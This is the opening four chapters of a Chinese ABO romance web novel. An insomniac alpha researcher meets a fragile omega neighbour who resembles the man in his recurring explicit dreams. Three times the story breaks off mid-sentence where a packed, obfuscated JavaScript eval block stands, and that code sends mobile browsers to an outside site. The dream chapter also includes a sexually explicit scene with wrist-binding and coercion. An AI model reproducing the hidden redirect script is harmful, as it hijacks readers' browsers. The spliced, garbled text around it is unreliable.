《邻居omega为何总逼我这样那样他?》 1. 第 1 章 祁厌又失眠了。 他原本就是个失眠患者,从十八岁以后,就很少睡个好觉。 难得睡舒服的那几次,据家人所说,他开始有梦游习惯了。 有一次大半夜的在客厅上演全武行,不小心把偷溜回来的表弟当作贼,反手一个擒拿术,啪一下把表弟摁倒在地上。 吵醒一家子人,小心翼翼地看着梦游的祁厌教训表弟,无人敢打扰。 “啊啊,我错了,哥,我错了!爷奶爸妈姨妹快救我,我以后再也不敢半夜翻墙出去玩了!!!” 屋里响起鬼哭狼嚎的求救声,原本准备等儿子回来,抽出七匹狼的舅舅默默收好皮带。 算了,见儿太惨,不忍下手,估计这小子以后也不敢大半夜溜出去浪了。 从那以后,祁厌每次睡觉必然把门锁得死死,以免把全家都摁倒在地上。 等上大学后,住了一段时间的祁厌为防止意外发生,做了个检查报告,申请住在校外。 虽然顺利搬出去,鲜少住在寝室,但祁厌和三位室友关系依然融洽,上课、做实验、报告都经常一组,偶尔一起聚会,保持着友好的关系。 一直到毕业读研,都常住在校外的祁厌最近遇到了个麻烦,他的隔壁搬来个新邻居,叮叮咣咣地装修三天。 他住的是一梯两户,听说楼上楼下对门都没人住,现在终于来了个邻居,吵一些也没人提醒。 不过搬家嘛,吵一点能理解,祁厌性格很好,没兴趣找人麻烦,但这只是一开始的想法。 祁厌累了一天,终于回到家,吃完安眠药,熬了半宿,临近早晨才要睡着时—— “咣咣!”的两道巨响,惊得祁厌猛地睁开眼睛,好不容易得来的睡意彻底被驱除了。 “搬家嘛,装修一下,能理解。” 第一次,祁厌很理解,微笑面对惨淡清晨。 “轰轰!” 第二个早晨,祁厌撞到床头,睁开眼睛,等待十分钟后,声音消失。 “没事的,还有点时间,继续睡。” 睡不着,睁着眼看天花板。 第三个早晨,“叮咣!”一声巨响,好像有什么东西被砸了下来。 半睡半醒的祁厌条件反射地利落跳下床,世界一片安静。 三天了,圣人都受不住了。 “事不过三。” 祁厌正欲走出去和邻居谈一谈,被一通电话打断,深呼吸,先接电话,通话结束以后,隔壁也结束了,他也冷静下来了。 听说隔壁新搬来的邻居是个omega,三天时间,应该够对方装修好房子吧? 而且是omega哎…… 祁厌想了想,无奈地自我安慰:“算了,就当早晨闹钟吧。” 怂怂大学生,望而却步。 心底自我安慰地硬气一秒,绝不是恐O。 但都研究生了,谁还没事六点半起床?! 早八都没这么早,希望不要有第四次,暂时先给物业发条信息提醒吧。 又是一日早起。 于是,连续三天没睡好,无精打采的祁厌走路带飘,穿着苍白的实验服,像一只白色幽魂溜进实验室。 正好推门出来的陈不谦被吓了一跳:“哟,兄弟,你昨晚是干什么去了?” “看你这表情,怎么像是奋战一夜,不知道的还以为你才是隔壁班那个整日在酒吧泡的时间管理大师浪A!”陈不谦摸着下巴,打量祁厌。 入学时还是个俊美阳光型的帅气alpha,现在读研了,逐渐变成颓废忧郁系alpha。 那双堪称看狗都深情的桃花眼半阖,黑眼圈在冷白皮的衬托下,显得格外夸张。 “说得像是你一天不泡酒吧似的,我只是失眠。” 祁厌打着哈欠从陈不谦身侧走过,平时穿得好好的实验服大褂难得没有扣上,随意又没精打采。 陈不谦跟上他的脚步,关心道:“你最近的失眠比以前严重多了,真不去看一看心理医生?” “以前看过,结果没用。”祁厌一脸困倦地检查自己的实验记录。 失眠的理由太过于夸张,祁厌没脸告诉别人。 唯一一次说出来,是高三的时候,舅舅带他去看心理医生,没有效果,心理医生反而因为催眠他导致被揍。 从那之后,祁厌就认为没有必要再看心理医生。 他不是完全睡不着觉,只是一闭上眼,就会想起那些绮丽暧昧的梦境,梦境给他带来阴郁压抑的沉闷感,沉甸甸地坠在心口,让人毫无睡意。 “实在不行的话,你干脆找个omega谈恋爱吧。浪浪那家伙经验很足,连她都说了,抱着omega好入睡,毕竟omega的信息素能够安抚躁动的alpha,非常适合你。” 陈不谦给他提出一个好建议。 祁厌执笔的手一顿,拒绝道:“别出馊主意,这是不可能的事情。” 连自己的私事都没处理好,就想着去找omega安抚,不尊重对方,也不尊重自己。 更何况梦境里的omega给祁厌造成的影响太大,如今的他已经对omega有些心理阴影,根本不想扯上半点关系,更不可能和omega谈恋爱。 只想离他们远远的,越远越好。 俗称:恐O。 不过祁厌拒绝承认自己恐O。 “这哪里是馊主意了?”陈不谦一脸不赞同,“你自己就是研究信息素的,不觉得自己现在这状况其实很像失去omega后,陷入易感期的alpha吗?” 陈不谦说完这话,忽然不知道想到什么,恍然大悟般观察祁厌:“祁厌,你该不会真的标记过omega,然后又被抛弃,所以才导致……” “啪!” 祁厌合上笔记本,清脆一声响,打断陈不谦的话。 他抬眼看向陈不谦,桃花眼满含危险警告:“只是简单、普通的失眠,请不要随意揣测。” “你反应有点大哦,是不是我说中了?没想到大家眼里守身如玉、冰清玉洁的男神居然……”陈不谦嘿嘿一笑,认为自己说中了。 他一脸猥琐:“别担心,实验室只有我们两个人,不会有第三个……” “不,你又说错了。” 祁厌摇了摇笔记本,遗憾地轻拍他的肩膀:“实验室有第三者存在,即使他的存在感不强,也别忽略。” 实验室里空荡荡,只有冰冷的实验器材,祁厌蓦地来这么一句,让陈不谦感觉有点凉飕飕。 “哪有人,你别吓我。” “那。”祁厌指了指角落里的某个人。 没任何存在感的人,白色的实验服,里面穿着白色的兜帽卫衣,正窝在角落里写实验记录,存在感低,且有些阴森森的气质。 “你好……” “我靠!”蓦地看过去,还挺吓人,陈不谦一惊:“这小子什么时候出现在这里的啊?” “一直都在,进门就和我打招呼,是你无视他的存在。”祁厌戴好手套,朝生化实验室走去,“我先去检查一下样品。” 陈不谦看向他的背影,继续道:“哎,祁厌,你别忘了我们刚才说的话,今晚正好有一个联谊,你要是想去,就给我打个电话,说不定能找到看对眼的omega。” “你们天天联谊,哪有今晚正好。”祁厌吐槽一句。 陈不谦哈哈大笑:“来嘛,老地方,欢乐酒吧就等你了。” “我拒绝。” 祁厌初心不变,打起精神检查实验样品,三天没睡好的情况太糟糕,他连东西都不敢乱碰,生怕前功尽弃。 等写好记录,与角落里的同学交流后离开,忽略陈不谦今晚的邀请,祁厌今日早早回到公寓,隔壁意外的安静。 这是装修结束了吗?那是个睡觉的好时机。 祁厌果断换身衣服,吃颗安眠药,躺床上,闭眼,开睡。 许是三天没睡个好觉的原因,这次祁厌只用了半个小时就成功入睡。 熟悉的梦境出现,他站在一间既陌生又熟悉的房间中央,微微低着头,心情糟糕透顶。 果然又来了。 祁厌深吸口气,抬眸看向沙发处,一位omega正坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318623|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那—— 他穿着一身得体的黑色西装,身形修长,翘着一条长腿坐在沙发上,姿态傲慢,指尖正慢条斯理地松开领带,露出白皙脖颈间的黑色信息素隔离颈环,却让人不敢小觑,气势让周围空气沉凝,给人带来上位者的压迫感与威慑力。 “……” 天花板的灯光太明亮,以至祁厌连对方的脸都没有看清楚,omega好似在说着什么话,漫不经心的声音充满讥讽。 太刺耳了,不想听,也不想看见他的脸。 梦境按班就部地进行,不知对方说了什么话,隔着一层虚无的梦境,祁厌轻而易举地被omega勾起怒气,于是上前将他从沙发拉下来。 “……行,那就按你说的来办。” 刚才还维持着冷漠的omega没想到他会这么说,感到一阵愕然,被祁厌攥着手腕拉到房间,丢在床上,才反应过来。 见祁厌从抽屉里取出剩下的三盒安全套,omega用手肘撑着身体,本就看不清楚的面容,在昏暗房间里,更加难以看清,他好似在笑。 讥讽地嘲笑他。 “你说的,今晚全部用完,我就能离开。”祁厌说。 omega笑容蓦地停下,晦暗的眼眸盯着他看,过了一会儿,不知为何,原本的冷酷面具被击碎,变得神经质。他像是被祁厌激怒般,忽然抓起床头柜上的东西朝他砸了过去。 祁厌侧头躲过,一阵风划过。 “砰!”东西掉落在地,发出尖锐清脆的破碎声,玻璃碎片飞溅一地,发出噼里啪啦的声响。 额头不幸被尖锐擦到,刺痛传来,祁厌一声不吭。 屋里太暗,omega没有察觉,伸脚就要踹他,欲翻身下床。 祁厌眼疾手快地抓住他的脚,强行改变omega的姿势,逼迫他跪趴在床上,将他的双手反制在背后,使用西装上松散的领带,绕着两手腕紧紧缠住,让omega难以动弹。 眼前这位omega明显不像寻常omega那般温和柔弱,身形看似清瘦实则有力,黑色西装外套被祁厌拉到手臂处,很好地控制他的挣扎幅度。 窗外的霓虹灯光落入房间,白色衬衫紧贴着omega的皮肤,让祁厌清晰地看见后背的肩胛骨,线条流畅美好,因为挣扎而起伏,更显诱人,顺着后背优美的线条往下,omega的腰身紧致有力,此刻却难以动弹。 更遑论挺括的西装裤勾勒出紧实饱满的弧度,腰身下压,大腿处的衬衫夹痕迹若隐若现,让人难以移开视线。omega以这般暧昧诱惑的姿态背对着他,无论是哪个alpha都无法忍受。 偏偏祁厌好像没有任何感觉,如同黑夜里的大海寂静无声,又暗潮汹涌,额头的血流到眼睛上,睫毛积蓄着血珠往下滚落。 直到红色遮掩住视线,他才注意到。 祁厌平静地擦拭眼睫毛上的血滴,继续拆开盒子,把三盒安全套全部丢在床边,方便随时换取使用,不浪费时间。 数量有点多,但应该能行,死不了。 今晚结束,他就可以走了,抓紧时间,说不定还能赶上早上七点的飞机。 “……” omega跪趴在床上,呼吸有些急促,无比难堪,仿佛受到羞辱一样,愤怒地向后瞪着他,好像在骂他。 “放心,会用你喜欢的姿势,免得看见我这张令你作呕的脸。” “套也会戴好,不会进入生殖腔。” “也不会把你弄脏。” 祁厌恍若未闻地说话,目光从omega清瘦的后背一点点往上移动,落在他白皙修长的脖颈。 黑色的信息素隔离颈环扣在后颈腺体,衬得皮肤更白,带着一丝禁欲的诱惑,却也很好地控制信息素,保证一点信息素都不会泄漏,也杜绝alpha失控时,咬住后颈腺体,强行标记他。 omega的信息素是什么味道? 祁厌不知,他们住在一起的时间不短,尽管上过床,做过爱,但祁厌依然不知。 omega厌恶他,所以将措施做得很好,从不泄漏一点信息素。 2. 第 2 章 这楼的隔音很好,但招架不住隔壁一直传来各种搬东西的声音。 噪音的影响,让祁厌由沉溺状态一点点转变为半梦半醒,他清醒地看着身下的人死死攥着床单,梦境的发展变得越来越糟糕。 …… 一夜的时间不长,他不能浪费。 夜色在继续,不知什么时候,隔壁嘈杂的声音越来越吵闹。 祁厌已经分不清楚现实与梦境,阴暗的房间里太过潮热,熏得人头脑发昏,屋外的噪音未曾停止过,甚至越来越吵,让人无法静下心。 omega时不时发出闷哼和低喘,带着浓郁的疲惫,气息不稳。 “哐当!” 一道震耳欲聋的关门声猛地从隔壁传来,震得祁厌从压抑热欲的梦中惊醒,随即就听到怒吼声—— “疯子!疯子!!你们沈家都是一群疯子!!!” 猛地从床上坐起,大脑浑浑噩噩,耳鸣声响回荡,祁厌心脏狂跳不止,满头大汗地急喘,直接脱离那热欲横溢的梦境。 真疯了吧?! 祁厌痛苦地按着额头,拿过床头手机,一看时间,凌晨十二点?!! 心情在这一刻变得无比糟糕,好像代入了梦中的自己,分不清楚现实与梦境,冰冷漆黑的瞳孔迸发着浓稠的欲求不满,好似卸去虚假伪装,泄露出心底烦躁。 这一次,他再也忍受不了,下床,开门,掩门。 大步流星地走到对面邻居的家门敲了起来。 “咚咚咚!” 敲门声响起,祁厌携带着一身睡眠不足的黑气压,沉着脸开口:“喂,在家吗?” 没有回应。 但祁厌知道对方在家,刚才吵了他很长时间,一直在搬东西。 “咚咚咚!” 他耐着性子,压抑心底的浮躁,继续敲门:“你好,能劳烦出来聊一下吗?” 依然没有开门,但里面传来一声闷响,又很快沉寂下去。 对方好像试图假装不在家,不想搭理他。 “咚咚咚!” 祁厌又敲了三下,随着时间流动,被各种阴郁情绪充斥的大脑渐渐恢复少许清醒,他想起邻居好像是个omega。 而他是个alpha。 AO有别,不知对方是否一个人居住,如果一个人的话,身为alpha的他深夜猛敲对方房门,面对明显不友善的alpha,独居的omega确实不敢打开门,与他对峙。 想法一闪而过,祁厌深呼吸,恢复冷静,不再继续敲门,理智地开口:“抱歉,不知道你是否听得见,我想我可能吓到你了,这一点我先道歉。” “如果你在听的话,请不要害怕,也不用开门了。身为邻居,我只是想提醒一下,请不要在深夜发出噪音,我已经失眠好几天。前三天装修,我能够理解,但也请尊重一下其他人,不要在正常休息时间制造噪音,相互理解一下,谢谢。” “以上就是我想对你说的话,打扰了,如果没听见的话,我明日会告知物业,让他提醒,希望你今晚没有被我吓到。” 说罢,祁厌也不想继续在别人家门口站着,转身就要走的时候—— “咔嗒。” 门开了。 祁厌下意识看了过去,门缝被邻居着急地拉开,又忽地停顿住,慢慢放缓开门动作,像是在压制内心的急躁。 “对……对不起……” 背对着光,一名omega出现在他的眼里,穿着一身暖色系的家居服,黑色偏长的头发有些乱,漂亮的脸病态般苍白,狭长的眼眸,左眼下有三颗浅浅的泪痣,衬得这张脸孤高冷傲,却被神情冲淡。 他大概是刚在洗脸,水珠顺着脸颊和发丝往下滴落,沿着精致的下巴和脖颈滚落,领口宽敞显现修长白净的脖颈,黑色的信息素隔离颈环固定在脖颈间,黑白分明,无端泄露出一丝清冷禁欲的美感。 在看到这一道身影时,祁厌大脑一片空白,心脏猛然漏跳一拍,他差点以为自己还在梦里。 好在他很快清醒过来,眼前的omega和梦里人不一样,没有那种傲慢冷酷的强势,身形更加清瘦,弱不禁风。 “非常抱歉!” 邻居omega的身体很差劲,他像是刚从卫生间听见敲门声,急急忙忙跑过来开门,于是导致呼吸急促,眼眶湿润泛红,越发显得脆弱。 “我不是故意的,我刚才没有听哈啊……”邻居话没说完,就急得喘不过气,手指扣在门框,支撑着身体,却没能撑住,手指一滑,身体就不受控制地往前倒。 “!” 为避免碰瓷,祁厌条件反射地往后退一步,想要躲开与omega的接触,好在理智克制住本能,他伸手接住差点脸朝地砸去的邻居。 “对……对不起……”邻居反手攥住祁厌的手臂,苍白的手指细长瘦削,手背上的青色脉络清晰可见。 半垂着头急促呼吸,他伸手捂住自己的口鼻,试图稳定下来,身体轻微颤抖,仍然在试图说话道歉。 祁厌发现不对劲:“你是不是呼吸性碱中毒了?” 他发现对方的症状有些熟悉,伸手抱住身体下滑的邻居,他的脸色苍白,额头出汗,呼吸相当急促混乱,手指捂着自己的口鼻,仰着脸看祁厌,狭长漂亮的眼睛被泪水盈满,滚落沾湿那三颗泪痣:“对……对不哈啊……” “先别说话,冷静下来,不要过度呼吸。” 祁厌彻底醒了过来,邻居的情况看起来不妙,他顾不得AO有别,赶忙把人抱进去,屋里东西堆放满地,只能将人放到未拆封的沙发。担心邻居的情况恶化,祁厌正想起身拿手机拨打急救电话,可是邻居攥得越来越紧。 “我……”邻居坐在沙发,打湿的头发湿漉漉地沾在脸颊处,红着眼看他,呼吸急促,彻底冲散这张脸自带的傲慢感。 “不要慌,不要着急,我没生气,现在最重要的是你的身体,放松,千万别着急,试试反复屏住呼吸,可以吗?”祁厌半跪在沙发边,紧盯邻居苍白的脸,眼神温柔,声音平缓,不断安抚他紧绷的精神。 “……” 泛着泪光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318624|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼眸始终落在祁厌的脸上,那双桃花眼温柔又深情,邻居没能冷静下来,手掌发麻连口鼻都捂不住,不受控制地松开,呼吸混乱。 情况紧急,祁厌找不到纸袋,只能匆匆说句冒犯了,就伸手帮他捂住口鼻,宽大的手掌几乎将邻居的下半张脸都扣住,还能留出空间让他吸取二氧化碳混合气体,气流不断喷洒在掌心里,又穿过指缝。 “哈啊……哈啊……!” 邻居双手都下意识攥住祁厌的手臂,好像溺水的人在拼命汲取氧气,手掌覆盖在他的脸上,alpha的信息素收敛得很好,没有释放出一点。邻居的眼睛越来越红,望着祁厌那双温柔冷静的眼眸,好久才慢慢平缓下来。 急促的呼吸声也不再像最初那样喘不过气时的痛苦,震颤的身体幅度变得细微,但他依然紧握着祁厌的手臂,不肯松开。 “再放缓一点,你不需要担忧任何事情,慢慢恢复正常呼吸,你看,你的节奏已经在逐渐平稳、缓慢,无需紧张。” 祁厌观察着邻居的情况,捂着他脸的手掌能清楚感觉呼吸气流在流动,掌心有些痒意,也变得湿润,沾满水汽,隐下心中的不适,他终于松口气。 “对不起,谢谢,哈啊……”邻居总算能把话说清楚了,泪水从眼角滚落在祁厌的手背上,却不肯闭眼睛,始终盯着他的脸。 祁厌安慰道:“没事,你不用道歉,是我的冲动吓到你了,应该我道歉才对。” 眼见对方抬眸,表情变得急切,柔软的唇瓣在手心摩擦,他想要说话,祁厌制止:“别急着说话,静下心来,不要在意任何事情,撇去一切紧张,慢慢呼吸。” 他要是早知道新邻居的心理这么薄弱,着急一下就呼吸性碱中毒,就不来敲门提醒了。 忍一忍,又不会死。 祁厌有些后悔也有些愧疚,无意识地打量对方的情况,呼吸正在恢复平静,他半垂着眼睫毛,像是认真地听着祁厌的话,使自己冷静呼吸。 刚才在门外只是惊鸿一瞥,没有多加观察,现在半跪在对方身前捂住他的口鼻,近距离的观察让祁厌心脏猛然抽动一下。 真的太像了。 才从噩梦中醒来,噩梦在渐渐消失,记忆里仍然残留着少量记忆,祁厌有些心惊胆颤地想着。 这人的身形是不是和梦里的倒霉omega有点太过相似? 不过邻居又好像更清瘦些。 但是他也戴着和梦里人的同款隔离颈环? 巧合,应该是巧合,可能是他不知道的大众品牌,毕竟现在的信息素隔离颈环款式非常多,作为alpha,他了解不多很正常。 可是他们连哭的声音好像也很像…… 尤其是刚才急喘溢出的哭腔,和梦里简直一模一样。 从梦中醒来不久,喘息与哭声仍然环绕在耳边,好像有人贴着他耳朵哭泣。 “……” 祁厌觉得自己有些失心疯了,否则怎么会把梦和现实弄混淆,应该不至于,世上绝不会有这种事情。 所以一定是巧合! 3. 第 3 章 “对不起,明明该我向你道歉,结果却变成这样,真的很对不起。”呼吸终于恢复,变得平静的邻居整理着自己的情绪。 “没事,也是我先敲门吓到你,要不然也不会发生这种事情。” 祁厌客气地说着,他把手收拢回来,掌心带着湿润的水汽,有液体在流淌,让他感到不自在。 尤其是对视上邻居omega的眼睛,明明很沉静,可漆黑深邃的眼瞳却让他心底不适。 明明omega长得很漂亮,从呼吸性碱中毒的状态脱离后,那一分脆弱渐渐消散。晕红的眼尾,眼下的三颗泪痣泛着水光,嘴角带着的浅浅笑容和身上的暖色调,无不减弱这张脸带来的孤傲感和清冷气质。 祁厌不敢多待,确保邻居已经恢复正常,他便离开对方的房子。 “前几天真的相当抱歉,先前忙于工作,将搬家的事情交由别人处理,我也没想到他们会将装修时间安排得这么不合理,真是非常对不起,接下来我会注意的。” omega不好意思地道着歉,看得出来是个非常礼貌的人。 “刚搬家都是这样,我能理解。” 祁厌和邻居客气两句,让他早点休息,要是身体不舒服可以找他帮忙,说完就回到自己的公寓,轻轻把门合上。 呼,终于结束了。 回到家里的祁厌松口气,靠着门板,不自在地低头去看自己的手心。 潮湿的触感已经变得半干,恍惚间omega被他捂着脸,红着眼睛用力呼吸的画面在脑海里闪动。 远比逐渐消失的梦境更加清晰,也更让人感到不适,祁厌皱了皱眉,想着赶紧洗手搓洗干净,彻底忘掉这种感觉。 “咔嗒。”而门外,随着门声响起,从缝隙泄漏的光线被彻底收束回去,走廊一片安静。 顶上的感应灯悄无声息地灭掉,邻居家的大门没有合上,灯光倾泻流出,将一道靠在门框上的瘦长身影投射在地面,延伸到大门。 拉长的影子缓缓伸了伸手,像是想要触碰对面的大门,可又在快要碰触到的时候,触电般缩了回去。 “……” omega垂着眼睛咬了咬手指,慢慢合上房门,说是可以随时找他帮助,但alpha并没有留下电话和名字。 对方其实不想和他有任何联系,只是一句客套话而已。 苍白漂亮的脸上没有任何表情,显得有些冰冷,眼下的三颗泪痣勾勒出清高傲慢的味道,却没有一点柔和,毫无刚才的温和。 …… 上半夜睡了个好觉,下半夜就开始失眠,但也勉强算是睡了一些。 早已习惯的祁厌精神状态不错,洗漱结束后,就准备去学校。本来还挺担心开门就遇到邻居,好在对面安安静静,一改前几日的作风。 隔了一晚上,恐o症再次发作,祁厌并不是很想大早上开门就和一个omega打招呼。 大脑清醒的祁厌抓紧时间赶到学校,套上白色实验服,消毒之后就继续进行实验,他好不容易才拿到患有信息素紊乱症病人的信息素样本。 因为之前状态太差,加上样本收集困难,祁厌一直不敢轻易使用,正好今日精神状态良好,可以继续进行实验。 alpha和omega的信息素离体之后贮存条件严苛,加之成分多,结构相当复杂,分离过程时间也格外长,祁厌直接从早做到晚。 一直到下午四点半,陈不谦过来的时候,祁厌刚用完GC-MS技术分离鉴定信息素,正埋头写分析。 “不是吧,你小子又从早做到晚,连饭都不吃了吗?” 祁厌正好写得差不多,站起身回他:“大脑清醒的时间很珍贵,当然得好好利用。” 有时候失眠太严重,会导致白天无精打采,大脑浑浑噩噩,根本不能做比较精密的实验。 陈不谦语塞,拍拍他的肩膀,一阵唏嘘道:“惨还是你惨,所以要不要听我昨天的建议,你到底要不要找个omega啊?昨晚特别热闹,浪浪引来一大堆漂亮的小o,偏偏你又不去,要不然那可太热闹了,今晚周六,肯定也非常热闹,你要是去帮忙……” 祁厌正在写实验日期,看着刚写下的周六,想了想道:“今晚我去。” “唉,可惜了,你居然又不去,那么多漂亮小o……哎?哎?你刚刚说什么?!” 陈不谦猛地瞪大眼睛,用小手指掏了掏耳朵,以为自己幻听。 祁厌合上笔记,收好自己的东西,把实验桌打扫干净:“怎么,你提前上年龄,听力下降是吗?来都来了,顺便帮忙打扫一下。” 陈不谦接过他随手递过来的扫帚和簸箕,恍惚道:“不是,我就是太惊讶你居然答应了,难道说是被我话里的很多漂亮小o吸引了吗?终于知道给自己找个对象?一起睡个好觉?” 他一脸惊喜的猥琐,挤眉弄眼地对祁厌示意。 “别想太多。”祁厌被他猥琐笑了,“我之前答应过徐哥要去给他帮忙,只是最近状态太差,所以没有过去,今天精神状态不错,当然得履行诺言。” “哦,这样啊。”陈不谦有些遗憾,扫着地上的垃圾说,“虽然你调酒技术很差,但只要你人在站吧台后面,作为看板郎,还是很能招蜂引蝶,加上外面又有个狂蜂浪蝶到处飞,徐哥今年的狂欢节不用愁了,店里业绩肯定能拿到莱茵街的冠军。” “估计没问题,他都提前一个月准备了,今年会很热闹。”打扫干净实验室,祁厌将实验服脱掉放进储物柜里,他身高腿长,穿个白色实验服都十分潇洒,走路带风,颇有制服诱惑的味道。 陈不谦羡慕地瞥一眼,但凡他有半点祁厌的姿色,昨晚就不会被漂亮小o给无视了,眼睁睁看着他们扑进某个狂蜂浪蝶的怀里。 于是搓搓手,期待问道:“那你接下来都要过去帮忙吗?” 祁厌虽然长得帅,但很注重AO之间的距离,顶多隔着吧台和omega聊天,不会与他们有任何接触。如果有他在,陈不谦可以早早占据中心位置,坐在omega堆里聊天,而不是被彻底无视。 而且对omega没有任何世俗欲望的祁厌,还会特意把话题引到他身上,真的相当适合当僚机。 “不好说,得看接下来的时间安排。”刚走出实验室,祁厌的手机正好响了起来。 他低头一看,是导师覃宜民发过来的信息,说是明天有一场应酬,对方恰好是祁厌想进的沈氏集团旗下的私人研究所负责人之一,索性让祁厌跟着一起去。 能够与研究所的负责人提前见一面,这对祁厌来说是个很好的机会。 毕竟沈氏集团旗下的私人研究所在信息素方面的研究,无论在国内外都是首屈一指,可以说市场上针对信息素方面的相关药物,几乎都是出自于沈氏集团。 祁厌立即回复导师,应了下来,心底生出一丝喜悦。 没办法,沈氏集团的私人研究所太难进入,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318625|167368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长是个想法奇特的鬼才,向来不走寻常路,甚至不怎么招人,如今能够和研究所的负责人牵线的话,绝不能错过。 “怎么笑得这么开心?要和omega谈恋爱了吗?”陈不谦好奇地问。 祁厌:“……不是,和omega无关,和导师有关,想知道吗?” “NO!!!我拒绝,我不想知道和导师有关的事情。”陈不谦双手组成X,坚决拒绝在学习之外,谈论这方面的悲惨事情。 他对祁厌沉迷实验,无心恋爱非常不满:“研究生都快毕业了,还不抓紧时间谈个恋爱,整日跟着导师混太惨了,你还是早点找到个漂亮omega,说不定就不用整夜失眠了。” 祁厌笑道:“不是谁都像你一样恋爱脑,张口闭口omega,整天只想着和omega恋爱,正常点吧。” “谈恋爱怎么了,同样母单二十多年……不对,你真的和我一样母单吗?”陈不谦提出质疑,“你小子一直不着急,该不会早早背叛组织,在大学之前谈过恋爱吧?你和omega近距离接触过吗?换句话说,你还是处A吗?” “你问题太多了,我当然没谈过,没接触过omega,是个实打实的处……” 不对,他还算处A吗? 祁厌被陈不谦逼逼到忍不住怀疑自己,他想起那旖旎暧昧的梦境。 梦醒后,虽然忘掉很多,但还是记得个大概,现实的确没谈过,但他经常在梦里和那个不认识的omega做不该做的事情。 某些画面深深刻在记忆里,就这么被陈不谦的话引出来。 急促呼吸声音与梦境里omega的喘息几乎重叠在一起,让祁厌一阵晃神,好像看到omega趴在床上,黑发凌乱,脸颊泛红地看着他。 昨夜捂住邻居的手掌心好像还残留着触感,祁厌想起邻居那张湿润漂亮的脸,泛红的眼睛,泪水从眼角滚落,眼下那三颗泪痣无端诱惑勾引人。 几乎和梦里看不清的脸重叠在一起。 “你怎么突然停下来了?” 正在质问祁厌的陈不谦懵了,他只是随口一问,但再看祁厌,仔细观察,眼神居然变得闪烁,好像心虚一样。 一瞬间,好似有天雷劈了下来,陈不谦想通了什么,露出天崩地裂的表情:“不是吧?不是吧?我只是随口一说,兄弟,你怎么突然就露出迟疑的表情?不会被我说中了,其实你以前都是骗我们的,真正的你早就失去了纯洁的处A之身?” “……别瞎说。” 祁厌觉得自己好该死,怎么突然就把邻居的脸和梦里omega重叠在一起? 明明他们一点不熟,只是昨晚见过一面,有过短暂的对话,甚至连名字都不知道,而他居然无意识地去臆想这种事情。 这是个很糟糕、不礼貌的行为,不好,相当不好! 祁厌沉着脸,大步往前走。 陈不谦整个人都快崩溃了,越发觉得以祁厌的姿色不可能没有谈过,以前都是在诓骗他们。 “你逃避了?你居然真的逃避了!老祁,以你的性格,是就是,不是就不是!你没有否认,那就意味着不再是我们纯洁的小伙伴了!” “到底是谁,夺走了你的纯洁之身?!” 祁厌头也不回地走,陈不谦表情惊恐:“该不会我们寝室只剩下我一个人,遵守A德保护纯洁之身吧?” “不,我不想、也绝对不能成为我们寝室最后一个处A啊!” 4. 第 4 章 到了酒吧,还没到开业时间,陈不谦一进去,就狂奔到看着很处A的朋友身边,很想问他究竟还是不是处A,把人弄得一脸问号,以为他又开始抽风发神经了。 没有陈不谦在耳边吵,祁厌先去找酒吧老板,对方刚睡醒没多久,一见到他就道:“东西放在我办公室的柜子下面第二层,你走的时候再去拿,待会儿自个去换身衣服来帮忙啊。” “好的,麻烦徐哥了。” 对方打着哈欠拍他的肩膀:“不用这么客气,接下来估计不太好查,你那个同父异母的弟弟已经勾搭上了沈家人,你懂吧?” 祁厌一顿:“沈家?” “对,就是那个沈家。听说对方爱他爱得要死,马上就可能会结婚,如果他真的和沈家人结婚,那你就得小心,不能再这样查下去。” 徐哥提醒道:“我听你舅舅说过,你想要进沈家的私人研究所,最近注意点,别和他遇到,别让他知道你的身份,要不然以他的小心眼,一定会给你施绊子。” “嗯,我会注意些。”祁厌微不可查地皱了一下眉头,原本挺好的心情在听到这个消息时,变得有些糟糕。 “别想太多,实在不行就换个研究所或者留学也行,以你的实力和成绩,又不是非得进入沈家的研究所。”徐哥笑道。 祁厌也笑道:“您说的对,我会考虑的。开业的时间好像快到了,我先去换身衣服,就去帮忙。” “哈哈,那今晚就麻烦你站在吧台后当看板郎了,不过千万别给人调酒啊,我怕客人冲进吧台揍你,弄坏我的酒。”徐哥调侃道。 祁厌对自己调酒的本事很有数,说道:“您可放心吧,大家又不是不知道我调酒的本事,除非他们有取死之道,否则不会找我调酒。” 他调制出来的酒,是个人都喝不进去。 徐哥一阵唏嘘:“希望别有新人被你那张人畜无害的脸骗到头晕,让你给他调一杯。” 祁厌长得帅气,身材好,那双深情的桃花眼随便看人一眼,都像是在放电,把人迷得七荤八素。于是总有人心不死,试图让他调酒试试,结果就是他的调酒姿势酷帅迷人,流畅利落,看着就非常专业靠谱。 等到接过酒,一口下去,客人就能彻底唤醒被迷得七荤八素的神志—— 